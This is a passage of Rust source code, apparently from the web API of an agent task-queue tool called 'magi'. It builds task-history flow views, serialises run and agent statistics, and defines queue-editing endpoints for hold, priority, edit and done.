6341        n.decided = h.readable && !h.provisional;
6342        n.detail = h
6343            .branch
6344            .as_ref()
6345            .map(|b| format!("review-only run of branch {b}"));
6346        match h.exit {
6347            RunExit::Unreadable => n.note = Some("unreadable"),
6348            RunExit::Interrupted => n.note = Some("interrupted"),
6349            // An earlier pass the run recorded as parked: the status shown
6350            // would be the run's current one, not this pass's.
6351            RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
6352            _ => {
6353                n.status = h.status;
6354                n.badge = h.badge.clone();
6355                if h.provisional {
6356                    n.note = Some("no verdict");
6357                }
6358            }
6359        }
6360        let into = match h.kind {
6361            "review" => Some(format!(
6362                "review-only run of branch {}",
6363                h.branch.as_deref().unwrap_or("?")
6364            )),
6365            "resume" => Some("resume the same run".to_owned()),
6366            _ if i > 0 => Some("retry".to_owned()),
6367            _ => None,
6368        };
6369        let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
6370        let label = match (prev_exit, into) {
6371            (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
6372            (Some((_, l, _)), None) => l,
6373            (None, Some(i)) => i,
6374            (None, None) => "claimed".to_owned(),
6375        };
6376        edges.push(FlowEdge {
6377            from: prev.clone(),
6378            to: key.clone(),
6379            label,
6380            attempt,
6381        });
6382        prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
6383        prev = key;
6384        nodes.push(n);
6385    }
6386    let mut end = node("end", "end", task.status.as_str().to_owned());
6387    end.status = Some(task.status.as_str());
6388    end.status_of = "task";
6389    // Other task states do not persist their transition start. In particular,
6390    // blocked_at can change while the task remains blocked.
6391    if task.status == TaskStatus::Held {
6392        end.started_at = task.held_at;
6393    }
6394    nodes.push(end);
6395    let (label, attempt) = match prev_exit {
6396        None => (
6397            format!("no run yet \u{2192} {}", task.status.as_str()),
6398            AttemptCost::None,
6399        ),
6400        Some((e, l, cost)) if e.explains(task.status) => {
6401            (format!("{l} \u{2192} {}", task.status.as_str()), cost)
6402        }
6403        Some((_, _, cost)) => (
6404            format!("closed by hand: task is {}", task.status.as_str()),
6405            cost,
6406        ),
6407    };
6408    edges.push(FlowEdge {
6409        from: prev,
6410        to: "end".to_owned(),
6411        label,
6412        attempt,
6413    });
6414    FlowView {
6415        nodes,
6416        edges,
6417        attempts: task.attempts,
6418        max_attempts,
6419        passes: history.len(),
6420        runs: distinct_runs(&task.runs),
6421    }
6422}
6423
6424/// How many different run ids a task's run list names.
6425fn distinct_runs(runs: &[String]) -> usize {
6426    let mut seen: Vec<&str> = Vec::new();
6427    for r in runs {
6428        if !seen.contains(&r.as_str()) {
6429            seen.push(r);
6430        }
6431    }
6432    seen.len()
6433}
6434
6435/// Describe recorded task passes, retaining unrecorded legacy list entries.
6436fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
6437    let mut slots = Vec::new();
6438    let mut seen = Vec::new();
6439    for run_id in &task.runs {
6440        if seen.contains(&run_id) {
6441            continue;
6442        }
6443        seen.push(run_id);
6444        let state = read(run_id);
6445        let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
6446            s.passes
6447                .iter()
6448                .filter(|p| {
6449                    p.task_entry
6450                        || task
6451                            .passes
6452                            .iter()
6453                            .any(|t| t.run == *run_id && t.pass_index == p.index)
6454                })
6455                .cloned()
6456                .collect()
6457        });
6458        let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
6459        let total = legacy_count.max(mine.len());
6460        let offset = total - mine.len();
6461        for k in 0..total {
6462            // Legacy repeated entries retain their original positions. When
6463            // ids are unique, recorded pass times recover the resume order.
6464            let position = task
6465                .runs
6466                .iter()
6467                .enumerate()
6468                .filter(|(_, r)| *r == run_id)
6469                .nth(k.min(legacy_count - 1))
6470                .unwrap()
6471                .0;
6472            slots.push((
6473                run_id,
6474                state.clone(),
6475                k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
6476                position,
6477            ));
6478        }
6479    }
6480    if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6481        slots.sort_by_key(|(_, state, pass, _)| {
6482            pass.as_ref()
6483                .map(|p| p.started_at)
6484                .or_else(|| state.as_ref().map(|s| s.created_at))
6485                .map_or((true, task.created_at), |at| (false, at))
6486        });
6487    } else {
6488        slots.sort_by_key(|(_, _, _, position)| *position);
6489    }
6490    let mut history = Vec::with_capacity(slots.len());
6491    let mut seen: Vec<&str> = Vec::new();
6492    let mut prior: Option<(&str, RunStatus)> = None;
6493    for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6494        let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6495        let resumed = k > 0;
6496        seen.push(run_id);
6497        let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6498        let pass = pass.as_ref();
6499        let settled = pass.and_then(|p| {
6500            task.passes
6501                .iter()
6502                .find(|t| t.run == **run_id && t.pass_index == p.index)
6503        });
6504        history.push(task_run_view(
6505            run_id,
6506            state.as_ref(),
6507            RunSlot {
6508                n: i + 1,
6509                resumed,
6510                resumed_later: slots[i + 1..]
6511                    .iter()
6512                    .position(|(id, _, _, _)| id == run_id)
6513                    .map(|off| i + off + 2),
6514                prior,
6515                last: i + 1 == slots.len(),
6516                pass,
6517                settled,
6518                pass_n: k + 1,
6519                passes_of_run: total,
6520            },
6521            task,
6522        ));
6523        if let Some(s) = &state {
6524            prior = Some((run::short_of(run_id), s.status));
6525        }
6526    }
6527    history
6528}
6529
6530/// Fill [`TaskRunView::badge`] for attempts that are no longer being driven.
6531/// An earlier pass of a resumed run keeps no badge (it has no status box).
6532fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6533    if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6534        return;
6535    }
6536    let (_, claimed, _) = run_row_inputs(ui);
6537    let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6538    for h in history
6539        .iter_mut()
6540        .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6541    {
6542        let Ok(state) = read_run(&ui.runs, &h.id) else {
6543            continue;
6544        };
6545        if state.status.done() {
6546            continue;
6547        }
6548        let live = state.liveness_with(
6549            claimed.contains(&h.id),
6550            |p| probe.borrow_mut().status(p),
6551            |p| probe.borrow_mut().started_at(p),
6552        );
6553        let waiting = !ui.questions.open_for(&h.id).is_empty();
6554        let display = run_display_status(&state, waiting, live);
6555        let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6556        if matches!(word.as_str(), "stale" | "superseded")
6557            || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6558        {
6559            h.badge = Some(word);
6560        }
6561    }
6562}
6563
6564async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6565    blocking(move || {
6566        let id = resolve_task(&ui.queue, &id)?;
6567        Ok(Json(TaskView::from(ui.queue.get(&id)?)))
6568    })
6569    .await
6570}
6571
6572async fn task_detail(
6573    State(ui): State<Arc<Ui>>,
6574    Path(id): Path<String>,
6575) -> ApiResult<Json<TaskDetailView>> {
6576    blocking(move || {
6577        let id = resolve_task(&ui.queue, &id)?;
6578        let task = ui
6579            .queue
6580            .get(&id)
6581            .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6582        let inv = if task.status == TaskStatus::Blocked {
6583            Some(crate::blockers::Inventory::load_for(
6584                &ui.queue,
6585                &ui.questions,
6586                &task,
6587            ))
6588        } else {
6589            None
6590        };
6591        let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
6592        mark_badges(&ui, &task, &mut history);
6593        let runs_unreadable = history.iter().filter(|h| !h.readable).count();
6594        let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
6595        let origin = task.followup.as_ref().map(|fu| {
6596            followup_origin(
6597                fu,
6598                |tid| ui.queue.get(tid).ok(),
6599                |rid| read_run(&ui.runs, rid).ok(),
6600            )
6601        });
6602        let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
6603        let task_view = match inv.as_ref() {
6604            Some(inv) => TaskView::with_inventory(task, inv),
6605            None => TaskView::from(task),
6606        };
6607        Ok(Json(TaskDetailView {
6608            max_attempts,
6609            flow,
6610            followup_origin: origin,
6611            passes_total: history.len(),
6612            runs_distinct: distinct_runs(&task_view.task.runs),
6613            history,
6614            runs_unreadable,
6615            attempts_note: ATTEMPTS_NOTE,
6616            task: task_view,
6617        }))
6618    })
6619    .await
6620}
6621
6622/// A rate together with its denominator, so the client can tell "computed as
6623/// 0%" apart from "no data to compute it from" — both would otherwise
6624/// serialize as `0.0`. `None` means the denominator was zero.
6625#[derive(Debug, Serialize)]
6626struct RateView {
6627    pct: f64,
6628    denominator: usize,
6629}
6630
6631impl RateView {
6632    fn of(numerator: usize, denominator: usize) -> Option<Self> {
6633        (denominator > 0).then(|| Self {
6634            pct: 100.0 * numerator as f64 / denominator as f64,
6635            denominator,
6636        })
6637    }
6638}
6639
6640/// [`crate::stats::Totals`] for the wire: the raw counters plus the derived
6641/// rates, each paired with its own denominator via [`RateView`] rather than
6642/// exposing `Stats`' own percentage methods directly — see this module's
6643/// doc for why `Stats` itself is never serialized.
6644#[derive(Debug, Serialize)]
6645struct StatsTotalsView {
6646    runs: usize,
6647    merged: usize,
6648    ready: usize,
6649    blocked: usize,
6650    failed: usize,
6651    stalled: usize,
6652    verified_noop: usize,
6653    superseded: usize,
6654    in_progress: usize,
6655    completion_rate: Option<RateView>,
6656    tallied: usize,
6657    split: usize,
6658    split_rate: Option<RateView>,
6659    deliberated: usize,
6660    minds_changed: usize,
6661    converged: usize,
6662    review_rounds: usize,
6663}
6664
6665impl From<&stats::Totals> for StatsTotalsView {
6666    fn from(t: &stats::Totals) -> Self {
6667        Self {
6668            runs: t.runs,
6669            merged: t.merged,
6670            ready: t.ready,
6671            blocked: t.blocked,
6672            failed: t.failed,
6673            stalled: t.stalled,
6674            verified_noop: t.verified_noop,
6675            superseded: t.superseded,
6676            in_progress: t.in_progress,
6677            completion_rate: RateView::of(t.merged + t.ready, t.runs),
6678            tallied: t.tallied,
6679            split: t.split,
6680            split_rate: RateView::of(t.split, t.tallied),
6681            deliberated: t.deliberated,
6682            minds_changed: t.minds_changed,
6683            converged: t.converged,
6684            review_rounds: t.review_rounds,
6685        }
6686    }
6687}
6688
6689/// [`crate::stats::AgentStats`] for the wire.
6690#[derive(Debug, Serialize)]
6691struct AgentStatsView {
6692    agent: String,
6693    entered: usize,
6694    wins: usize,
6695    empty: usize,
6696    win_rate: Option<RateView>,
6697    competitive_entered: usize,
6698    competitive_wins: usize,
6699    competitive_win_rate: Option<RateView>,
6700    solo_entered: usize,
6701    solo_adopted: usize,
6702    solo_adoption_rate: Option<RateView>,
6703}
6704
6705impl From<&stats::AgentStats> for AgentStatsView {
6706    fn from(a: &stats::AgentStats) -> Self {
6707        Self {
6708            agent: a.agent.clone(),
6709            entered: a.entered,
6710            wins: a.wins,
6711            empty: a.empty,
6712            win_rate: RateView::of(a.wins, a.entered),
6713            competitive_entered: a.competitive_entered,
6714            competitive_wins: a.competitive_wins,
6715            competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
6716            solo_entered: a.solo_entered,
6717            solo_adopted: a.solo_adopted,
6718            solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
6719        }
6720    }
6721}
6722
6723/// [`crate::stats::ReviewerStats`] for the wire. `adopted_per_round` is a
6724/// ratio, not a percentage, so it carries no [`RateView`] — just the raw
6725/// value, `None` when `rounds` is zero.
6726#[derive(Debug, Serialize)]
6727struct ReviewerStatsView {
6728    agent: String,
6729    rounds: usize,
6730    seated: usize,
6731    submitted: usize,
6732    adopted: usize,
6733    unique: usize,
6734    timeouts: usize,
6735    adopted_per_round: Option<f64>,
6736    precision: Option<RateView>,
6737    unique_rate: Option<RateView>,
6738    timeout_rate: Option<RateView>,
6739}
6740
6741impl From<&stats::ReviewerStats> for ReviewerStatsView {
6742    fn from(r: &stats::ReviewerStats) -> Self {
6743        Self {
6744            agent: r.agent.clone(),
6745            rounds: r.rounds,
6746            seated: r.seated,
6747            submitted: r.submitted,
6748            adopted: r.adopted,
6749            unique: r.unique,
6750            timeouts: r.timeouts,
6751            adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
6752            precision: RateView::of(r.adopted, r.submitted),
6753            unique_rate: RateView::of(r.unique, r.submitted),
6754            timeout_rate: RateView::of(r.timeouts, r.seated),
6755        }
6756    }
6757}
6758
6759/// [`crate::stats::AdvisorStats`] for the wire.
6760///
6761/// `reflection_rate` is approximate by construction — see
6762/// [`crate::stats::AdvisorStats`]'s own doc — and the UI note that carries
6763/// that caveat is static text in `index.html`, not a field here.
6764#[derive(Debug, Serialize)]
6765struct AdvisorStatsView {
6766    agent: String,
6767    seated: usize,
6768    proposed: usize,
6769    absent: usize,
6770    faint: usize,
6771    strong: usize,
6772    reflection_rate: Option<RateView>,
6773}
6774
6775impl From<&stats::AdvisorStats> for AdvisorStatsView {
6776    fn from(a: &stats::AdvisorStats) -> Self {
6777        Self {
6778            agent: a.agent.clone(),
6779            seated: a.seated,
6780            proposed: a.proposed,
6781            absent: a.absent,
6782            faint: a.faint,
6783            strong: a.strong,
6784            reflection_rate: RateView::of(a.strong, a.proposed),
6785        }
6786    }
6787}
6788
6789/// [`crate::stats::E2eStats`] for the wire.
6790#[derive(Debug, Serialize)]
6791struct E2eStatsView {
6792    rounds: usize,
6793    failures: usize,
6794    sole_detections: usize,
6795    deferred: usize,
6796    sole_rate: Option<RateView>,
6797}
6798
6799impl From<&stats::E2eStats> for E2eStatsView {
6800    fn from(e: &stats::E2eStats) -> Self {
6801        Self {
6802            rounds: e.rounds,
6803            failures: e.failures,
6804            sole_detections: e.sole_detections,
6805            deferred: e.deferred,
6806            sole_rate: RateView::of(e.sole_detections, e.failures),
6807        }
6808    }
6809}
6810
6811/// [`crate::stats::ReleaseBumpStats`] for the wire.
6812///
6813/// `clean` is sent as a raw count, computed the same way
6814/// [`stats::ReleaseBumpStats::clean`] computes it (`recorded -
6815/// needs_attention`) — never derived client-side from `automerge_enabled`,
6816/// which would misclassify a `merged_directly` bump (automerge rejected, but
6817/// magi merged it directly, so no human involvement) as needing attention.
6818#[derive(Debug, Serialize)]
6819struct ReleaseBumpStatsView {
6820    merged: usize,
6821    recorded: usize,
6822    pr_opened: usize,
6823    automerge_enabled: usize,
6824    merged_directly: usize,
6825    needs_attention: usize,
6826    clean: usize,
6827    coverage_rate: Option<RateView>,
6828    automerge_rate: Option<RateView>,
6829    attention_rate: Option<RateView>,
6830}
6831
6832impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
6833    fn from(b: &stats::ReleaseBumpStats) -> Self {
6834        Self {
6835            merged: b.merged,
6836            recorded: b.recorded,
6837            pr_opened: b.pr_opened,
6838            automerge_enabled: b.automerge_enabled,
6839            merged_directly: b.merged_directly,
6840            needs_attention: b.needs_attention,
6841            clean: b.clean(),
6842            coverage_rate: RateView::of(b.recorded, b.merged),
6843            automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
6844            attention_rate: RateView::of(b.needs_attention, b.recorded),
6845        }
6846    }
6847}
6848
6849/// [`crate::queue::TaskCounts`] for the wire.
6850#[derive(Debug, Serialize)]
6851struct TaskCountsView {
6852    queued: usize,
6853    running: usize,
6854    done: usize,
6855    failed: usize,
6856    held: usize,
6857    blocked: usize,
6858    parked: usize,
6859}
6860
6861impl From<crate::queue::TaskCounts> for TaskCountsView {
6862    fn from(c: crate::queue::TaskCounts) -> Self {
6863        Self {
6864            queued: c.queued,
6865            running: c.running,
6866            done: c.done,
6867            failed: c.failed,
6868            held: c.held,
6869            blocked: c.blocked,
6870            parked: c.parked,
6871        }
6872    }
6873}
6874
6875/// [`crate::stats::RepoStats`] for the wire, one row per repository with
6876/// runs recorded — the summary the UI's repository selector is built from.
6877/// Carries no nested `Stats`: picking a repo means re-fetching
6878/// `GET /api/stats?repo=<repo>`, which reuses this same route's own
6879/// aggregation rather than duplicating it.
6880#[derive(Debug, Serialize)]
6881struct RepoSummaryView {
6882    /// `RunState.repo` exactly as recorded — the value `?repo=` matches
6883    /// against, full path and all (see [`stats_get`]'s own doc for why).
6884    repo: String,
6885    /// Display name only; never used for matching.
6886    name: String,
6887    runs: usize,
6888    completion_rate: Option<RateView>,
6889}
6890
6891impl From<&stats::RepoStats> for RepoSummaryView {
6892    fn from(r: &stats::RepoStats) -> Self {
6893        let t = &r.stats.totals;
6894        Self {
6895            repo: r.repo.to_string_lossy().into_owned(),
6896            name: r.name.clone(),
6897            runs: t.runs,
6898            completion_rate: RateView::of(t.merged + t.ready, t.runs),
6899        }
6900    }
6901}
6902
6903/// `GET /api/stats` - the whole answer. `Stats` itself carries no
6904/// `Serialize`, deliberately: its fields (and the CLI text `report::stats`
6905/// renders from them) are free to grow without that becoming a wire-contract
6906/// change, and its zero-denominator rate methods (`0.0`) cannot tell "no
6907/// data" from "computed and it really is zero" the way [`RateView`] does.
6908#[derive(Debug, Serialize)]
6909struct StatsView {
6910    totals: StatsTotalsView,
6911    /// Best win rate first, as [`stats::collect`] already sorts it.
6912    agents: Vec<AgentStatsView>,
6913    /// Most adopted-per-round first, as [`stats::collect`] already sorts it.
6914    reviewers: Vec<ReviewerStatsView>,
6915    /// Highest reflection rate first, as [`stats::collect`] already sorts it.
6916    advisors: Vec<AdvisorStatsView>,
6917    e2e: E2eStatsView,
6918    release_bumps: ReleaseBumpStatsView,
6919    queue: Option<TaskCountsView>,
6920    /// Same count and same meaning as [`HealthView::runs_unreadable`] - see
6921    /// that field's doc. Asserted to match it in
6922    /// `stats_runs_unreadable_matches_health`.
6923    ///
6924    /// Always the whole-workload count, even when `repo` narrows every other
6925    /// field to one repository - an unreadable `run.json` carries no `repo`
6926    /// a per-repository count could attribute it to, and the queue/health
6927    /// views this mirrors never scope it either. The UI must not present it
6928    /// as if it were scoped to the selected repository.
6929    runs_unreadable: usize,
6930    /// Every repository with runs recorded, most runs first - what the UI's
6931    /// repository selector is built from. Always the full list regardless of
6932    /// `repo`, so switching repositories never needs a second request.
6933    repos: Vec<RepoSummaryView>,
6934    /// Runs per local day over the last 30 days, oldest first, always 30
6935    /// entries. Days are the *server's* local dates (the UI must not convert
6936    /// them again), cut by run creation and classified by current status.
6937    /// Narrowed by `repo` like every other run-derived field.
6938    daily: Vec<DailyStatsView>,
6939    /// The `?repo=` value this response was narrowed to, echoed back so the
6940    /// UI can confirm its selection round-tripped. `None` for the aggregate,
6941    /// all-repositories view.
6942    repo: Option<String>,
6943    /// Agent ids left out of `agents` / `reviewers` / `advisors` because the
6944    /// current config roster no longer lists them. Empty with `?all=true`, an
6945    /// unreadable config, or when nothing was retired.
6946    retired_hidden: Vec<String>,
6947}
6948
6949/// One day of [`StatsView::daily`].
6950#[derive(Debug, Serialize)]
6951struct DailyStatsView {
6952    /// `YYYY-MM-DD`, server-local.
6953    date: String,
6954    runs: usize,
6955    merged: usize,
6956    ready: usize,
6957    other: usize,
6958    /// `None` on a day with no runs, so it never reads as 0%.
6959    completion_rate: Option<RateView>,
6960}
6961
6962impl From<&stats::DayBucket> for DailyStatsView {
6963    fn from(b: &stats::DayBucket) -> Self {
6964        Self {
6965            date: b.date.to_string(),
6966            runs: b.runs,
6967            merged: b.merged,
6968            ready: b.ready,
6969            other: b.other,
6970            completion_rate: RateView::of(b.merged + b.ready, b.runs),
6971        }
6972    }
6973}
6974
6975/// How many days [`StatsView::daily`] covers.
6976const STATS_DAILY_DAYS: usize = 30;
6977
6978/// `?repo=<path>` narrows `GET /api/stats` to the runs recorded against one
6979/// repository. Matched by full-path equality against `RunState.repo` only
6980/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
6981/// `--repo` is, because the value here always came from this same route's
6982/// own `repos` list in an earlier response, never typed by a human. A value
6983/// matching no run is a 404, not an empty aggregate: the caller asked for a
6984/// specific, named repository, and silently returning zeroes would look
6985/// exactly like a repository that has runs but none of interest.
6986#[derive(Debug, Default, Deserialize)]
6987#[serde(default)]
6988struct StatsQuery {
6989    repo: Option<String>,
6990    /// `?all=true` keeps agents that are no longer in the roster.
6991    all: bool,
6992    /// The dashboard fetches queue counts independently of run history.
6993    runs_only: bool,
6994}
6995
6996/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
6997/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
6998/// runs when `?repo=` narrows it), the same counting logic `magi stats`
6999/// prints from. Reads every readable run on disk, exactly as
7000/// [`runs_unreadable`] does, so the two counts can never drift apart the way
7001/// a separately-maintained tally could.
7002async fn stats_get(
7003    State(ui): State<Arc<Ui>>,
7004    Query(q): Query<StatsQuery>,
7005) -> ApiResult<Json<StatsView>> {
7006    blocking(move || {
7007        let states: Vec<RunState> = run_ids(&ui.runs)
7008            .into_iter()
7009            .filter_map(|id| read_run(&ui.runs, &id).ok())
7010            .collect();
7011        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
7012            .iter()
7013            .map(RepoSummaryView::from)
7014            .collect();
7015        let mut scoped: Vec<&RunState> = states.iter().collect();
7016        let mut collected = match &q.repo {
7017            Some(repo) => {
7018                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
7019                if filtered.is_empty() {
7020                    return Err(ApiError::not_found(format!(
7021                        "no runs recorded against repo `{repo}`"
7022                    )));
7023                }
7024                scoped = filtered.clone();
7025                stats::collect_refs(filtered)
7026            }
7027            None => stats::collect(&states),
7028        };
7029        if !q.all {
7030            let repo = q
7031                .repo
7032                .as_deref()
7033                .map_or_else(|| ui.repo.clone(), PathBuf::from);
7034            stats::retain_current_roster(&mut collected, &repo);
7035        }
7036        let daily = stats::daily(
7037            scoped,
7038            jiff::Zoned::now().date(),
7039            &jiff::tz::TimeZone::system(),
7040            STATS_DAILY_DAYS,
7041        );
7042        let queue_counts = (!q.runs_only)
7043            .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
7044        Ok(Json(StatsView {
7045            totals: StatsTotalsView::from(&collected.totals),
7046            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
7047            reviewers: collected
7048                .reviewers
7049                .iter()
7050                .map(ReviewerStatsView::from)
7051                .collect(),
7052            advisors: collected
7053                .advisors
7054                .iter()
7055                .map(AdvisorStatsView::from)
7056                .collect(),
7057            e2e: E2eStatsView::from(&collected.e2e),
7058            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
7059            queue: queue_counts,
7060            runs_unreadable: runs_unreadable(&ui.runs),
7061            repos,
7062            daily: daily.iter().map(DailyStatsView::from).collect(),
7063            repo: q.repo.clone(),
7064            retired_hidden: collected.retired_hidden.clone(),
7065        }))
7066    })
7067    .await
7068}
7069
7070/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
7071/// gives no reason - which must keep working, since not every hold has one.
7072#[derive(Debug, Default, Deserialize)]
7073#[serde(default, deny_unknown_fields)]
7074struct HoldBody {
7075    reason: Option<String>,
7076}
7077
7078async fn queue_hold(
7079    State(ui): State<Arc<Ui>>,
7080    Path(id): Path<String>,
7081    body: std::result::Result<Json<HoldBody>, JsonRejection>,
7082) -> ApiResult<Json<TaskView>> {
7083    // An absent body is the ordinary case - most holds are unexplained, and
7084    // that has to stay a one-tap action rather than a form. A body that is
7085    // present and malformed is still a bad request.
7086    let body = match body {
7087        Ok(Json(body)) => body,
7088        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
7089        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7090    };
7091    let reason = body.reason.filter(|r| !r.trim().is_empty());
7092    mutate(ui, id, move |t| {
7093        t.hold_manual(reason.clone());
7094        Ok(())
7095    })
7096    .await
7097}
7098
7099async fn queue_release(
7100    State(ui): State<Arc<Ui>>,
7101    Path(id): Path<String>,
7102) -> ApiResult<Json<TaskView>> {
7103    mutate(ui, id, |t| {
7104        t.release_operator("web", None);
7105        Ok(())
7106    })
7107    .await
7108}
7109
7110#[derive(Debug, Deserialize)]
7111#[serde(deny_unknown_fields)]
7112struct AttemptLimitBody {
7113    // Required even when clearing: missing fields must not silently erase an override.
7114    attempt_limit: serde_json::Value,
7115}
7116
7117async fn queue_attempt_limit(
7118    State(ui): State<Arc<Ui>>,
7119    Path(id): Path<String>,
7120    body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
7121) -> ApiResult<Json<TaskView>> {
7122    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7123    let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
7124        .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
7125    mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
7126}
7127
7128#[derive(Debug, Deserialize)]
7129#[serde(deny_unknown_fields)]
7130struct ImplementersBody {
7131    implementers: u8,
7132}
7133
7134async fn queue_implementers(
7135    State(ui): State<Arc<Ui>>,
7136    Path(id): Path<String>,
7137    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
7138) -> ApiResult<Json<TaskView>> {
7139    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7140    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
7141}
7142
7143#[derive(Debug, Deserialize)]
7144#[serde(deny_unknown_fields)]
7145struct UrgentBody {
7146    urgent: bool,
7147}
7148
7149async fn queue_urgent(
7150    State(ui): State<Arc<Ui>>,
7151    Path(id): Path<String>,
7152    body: std::result::Result<Json<UrgentBody>, JsonRejection>,
7153) -> ApiResult<Json<TaskView>> {
7154    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7155    mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
7156}
7157
7158/// The body of `POST /api/queue/{id}/priority`.
7159#[derive(Debug, Deserialize)]
7160#[serde(deny_unknown_fields)]
7161struct PriorityBody {
7162    priority: i32,
7163}
7164
7165/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
7166///
7167/// [`Task::set_priority`] is the one place the "not while running" rule is
7168/// stated; this route only carries the body to it and lets its `Err` become
7169/// the 4xx the card shows.
7170async fn queue_priority(
7171    State(ui): State<Arc<Ui>>,
7172    Path(id): Path<String>,
7173    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
7174) -> ApiResult<Json<TaskView>> {
7175    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7176    mutate(ui, id, move |t| t.set_priority(body.priority)).await
7177}
7178
7179/// The body of `POST /api/queue/{id}/edit`.
7180#[derive(Debug, Deserialize)]
7181#[serde(deny_unknown_fields)]
7182struct EditBody {
7183    title: String,
7184    instruction: String,
7185    /// Save even though the new text names a branch, commit or pull request
7186    /// that unfinished work already owns.
7187    #[serde(default)]
7188    force: bool,
7189}
7190
7191/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
7192/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
7193/// that refusal's message is what the sheet shows back.
7194async fn queue_edit(
7195    State(ui): State<Arc<Ui>>,
7196    Path(id): Path<String>,
7197    body: std::result::Result<Json<EditBody>, JsonRejection>,
7198) -> ApiResult<Json<TaskView>> {
7199    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7200    // The judge is an agent call, so it is awaited here, outside the claim
7201    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
7202    // remembered, and the save refuses if the task moved underneath it.
7203    let mut judged: Option<(String, PathBuf)> = None;
7204    if !body.force {
7205        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
7206        let (id, text) = (id.clone(), body.instruction.clone());
7207        let (seen, hits) = blocking(move || {
7208            let id = resolve_task(&queue, &id)?;
7209            let t = queue.get(&id)?;
7210            if text == t.instruction {
7211                return Ok((None, Vec::new()));
7212            }
7213            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
7214            Ok((Some((t.instruction, t.repo)), hits))
7215        })
7216        .await?;
7217        if let Some((_, repo)) = &seen {
7218            let cfg = crate::config::Config::discover(repo, None)
7219                .ok()
7220                .map(|(c, _)| c);
7221            let screened =
7222                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
7223                    .await
7224                    .map_err(|dup| {
7225                        ApiError::conflict(dup.render(
7226                            "Nothing was saved. If it is not a duplicate, repeat the request \
7227                             with \"force\": true.",
7228                        ))
7229                    })?;
7230            if let crate::dupes::Screened::Unjudged(why) = screened {
7231                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
7232            }
7233        }
7234        judged = seen;
7235    }
7236    let force = body.force;
7237    mutate(ui, id, move |t| {
7238        if !force && body.instruction != t.instruction {
7239            match &judged {
7240                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
7241                _ => {
7242                    anyhow::bail!("the task changed while it was being checked; repeat the request")
7243                }
7244            }
7245        }
7246        t.edit(body.title.clone(), body.instruction.clone())
7247    })
7248    .await
7249}
7250
7251/// `POST /api/queue/{id}/done` - close a task as finished without deleting
7252/// it, so the phone's other way to clear a task from the backlog does not
7253/// have to cost the run history, the attribution, and `created_at` the way
7254/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
7255/// can be marked done by hand, because this is for the run the loop never
7256/// saw land - a merge done by hand, or a gate that misreported - and that can
7257/// happen from any status the task was left in.
7258async fn queue_done(
7259    State(ui): State<Arc<Ui>>,
7260    Path(id): Path<String>,
7261) -> ApiResult<Json<TaskView>> {
7262    let home = ui.home.clone();
7263    mutate(ui, id, move |t| {
7264        t.succeed();
7265        // Same as the loop's own settle path: closing a task by hand is just
7266        // as much "this task's story is over" as a daemon-driven `Merged`/
7267        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
